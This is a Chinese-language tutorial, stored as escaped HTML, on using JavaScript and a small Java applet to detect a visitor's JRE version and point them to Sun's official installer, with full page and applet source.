在网页上嵌套Applet，客户端要浏览就必须按照JRE，我们可以通过 JavaScript 和 Applet 判断 JRE 的版本，并要求客户端去下载最新的JRE。&lt;br&gt;&lt;br&gt;1. 在网页中嵌套Applet。&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br&gt;&lt;APPLET CODE = &quot;DetectPluginApplet&quot; WIDTH = &quot;0&quot; HEIGHT = &quot;0&quot; NAME = &quot;myApplet&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;/APPLET&gt;&lt;/span&gt;&lt;br&gt;通过HtmlConverter.exe 把上面的代码转换为：&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;object&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    classid = &quot;clsid:CAFEEFAC-0016-0000-0000-ABCDEFFEDCBA&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;codebase = &quot;&lt;a href=&quot;http://java.sun.com/update/1.6.0/jinstall-1_6_0-windows-i586.cab#Version=6,0,0,86&quot;&gt;http://java.sun.com/update/1.6.0/jinstall-1_6_0-windows-i586.cab#Version=6,0,0,86&lt;/a&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    WIDTH = &quot;0&quot; HEIGHT = &quot;0&quot; NAME = &quot;myApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;PARAM NAME = CODE VALUE = &quot;DetectPluginApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;PARAM NAME = NAME VALUE = &quot;myApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;param name = &quot;type&quot; value = &quot;application/x-java-applet;jpi-version=1.6&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;param name = &quot;scriptable&quot; value = &quot;false&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;comment&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;embed&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            type = &quot;application/x-java-applet;jpi-version=1.6&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            CODE = &quot;DetectPluginApplet&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            NAME = &quot;myApplet&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            WIDTH = &quot;0&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            HEIGHT = &quot;0&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        scriptable = false&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        pluginspage = &quot;&lt;a href=&quot;http://java.sun.com/products/plugin/index.html#download&quot;&gt;http://java.sun.com/products/plugin/index.html#download&lt;/a&gt;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;noembed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/noembed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;/embed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;/comment&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;/object&gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;要注意的是由于我使用的是javac 1.6.0-beta2，存在一个bug，也就是通过HtmlConverter转换的&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;codebase 的地址不存在，我们要手动修改。&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;codebase = &quot;&lt;a href=&quot;http://java.sun.com/update/1.6.0/jinstall-1_6_0-windows-i586.cab#Version=6,0,0,86&quot;&gt;http://java.sun.com/update/1.6.0/jinstall-1_6_0-windows-i586.cab#Version=6,0,0,86&lt;/a&gt;&quot;  为&lt;br&gt; codebase = &quot;&lt;a href=&quot;http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab&quot;&gt;http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab&lt;/a&gt;&quot;&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;你要是其他版本的可以参考：&lt;a href=&quot;http://java.sun.com/javase/6/docs/technotes/guides/deployment/deployment-guide/autodl-files.html&quot;&gt;http://java.sun.com/javase/6/docs/technotes/guides/deployment/deployment-guide/autodl-files.html&lt;/a&gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;2. javaScript 调用 applet &lt;/span&gt;&lt;br style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;document.myApplet; 就可以&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;javaScript 调用 applet &lt;br&gt; &lt;br&gt;3. applet.htm&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;HTML&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;HEAD&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;!-- Generated by Kawa IDE --&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;TITLE&gt;Detect Java Runtime&lt;/TITLE&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;/HEAD&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;SCRIPT LANGUAGE=&quot;JavaScript&quot;&gt; &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        var browsername;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        function doNetscape()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            for (i=0; i &lt; navigator.plugins.length; i++)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                for (j = 0; j &lt; navigator.plugins.length; j++)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    if(navigator.plugins[j].type == &quot;application/x-java-applet;version=1.6&quot;)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                        alert(&quot;You are running Netscape with Java Plugin 1.6.0 - OK&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                        return;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    };&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            alert(&quot;You are running Netscape\nPlease, install Java Runtime Environment 1.6.0&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        function doMicrosoft()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            var applet = document.myApplet;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            if(applet == null)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                alert(&quot;You are running Microsoft Browser.\nPlease, install Java Runtime Environment 1.6.0&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                return;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            };&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            var version = applet.getJavaVersion();&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            if(version == &quot;1.6.0&quot;)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                alert(&quot;You are running IE, Java Plugin 1.6.0 installed - OK&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            else&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                alert(&quot;You are running IE, other plugin installed - mybe OK if later that 1.6.0\nYour version: &quot; + version);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            };&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        function getJava()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            var applet = document.myApplet;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            if(applet == null)&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                alert(&quot;Please, install Java Runtime Environment&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                return;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            };&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            alert(&quot;JRE Version: &quot; + document.myApplet.getJavaVersion());&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        function checkJavaPlugin()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            browsername = navigator.appName;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            if(browsername.indexOf(&quot;Netscape&quot;)!= -1) &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            { &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                browsername=&quot;NS&quot;;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                doNetscape();&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            else&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                if(browsername.indexOf(&quot;Microsoft&quot;)!=-1) &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    browsername=&quot;MSIE&quot;;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    doMicrosoft();&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                else &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    browsername=&quot;N/A&quot;;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                    alert(&quot;Unknown browser: &quot; + browsername);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;                }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            };&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;/SCRIPT&gt; &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;body&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;Strong&gt;Check Java Plugin&lt;/strong&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;object id=&quot;myApplet&quot; &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            classid = &quot;clsid:CAFEEFAC-0016-0000-0000-ABCDEFFEDCBA&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            codebase = &quot;&lt;a href=&quot;http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab&quot;&gt;http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab&lt;/a&gt;&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            WIDTH = &quot;0&quot; HEIGHT = &quot;0&quot; NAME = &quot;myApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;PARAM NAME = CODE VALUE = &quot;DetectPluginApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;PARAM NAME = NAME VALUE = &quot;myApplet&quot; &gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;param name = &quot;type&quot; value = &quot;application/x-java-applet;jpi-version=1.6&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;param name = &quot;scriptable&quot; value = &quot;false&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;comment&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;embed&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            type = &quot;application/x-java-applet;jpi-version=1.6&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            CODE = &quot;DetectPluginApplet&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            NAME = &quot;myApplet&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            WIDTH = &quot;400&quot; \&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            HEIGHT = &quot;320&quot;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            scriptable = false&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            pluginspage = &quot;&lt;a href=&quot;http://java.sun.com/products/plugin/index.html#download&quot;&gt;http://java.sun.com/products/plugin/index.html#download&lt;/a&gt;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;noembed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/noembed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/embed&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;/comment&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;/object&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;FORM&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;INPUT TYPE=&quot;button&quot; value=&quot;Get Plugin Version in IE&quot; onClick=&quot;getJava()&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;            &lt;INPUT TYPE=&quot;button&quot; value=&quot;Check Java Plugin in NS and IE&quot; onClick=&quot;javascript:checkJavaPlugin()&quot;&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        &lt;/FORM&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    &lt;/BODY&gt;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;/HTML&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;4. DetectPluginApplet.java&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;import java.awt.*;&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;public class DetectPluginApplet extends java.applet.Applet&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;{&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    public void init()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        add(new Label(&quot;DetectPluginApplet&quot;));&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    public String getJavaVersion()&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    {&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;        return System.getProperty(&quot;java.version&quot;);&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;    }&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;} &lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(0, 0, 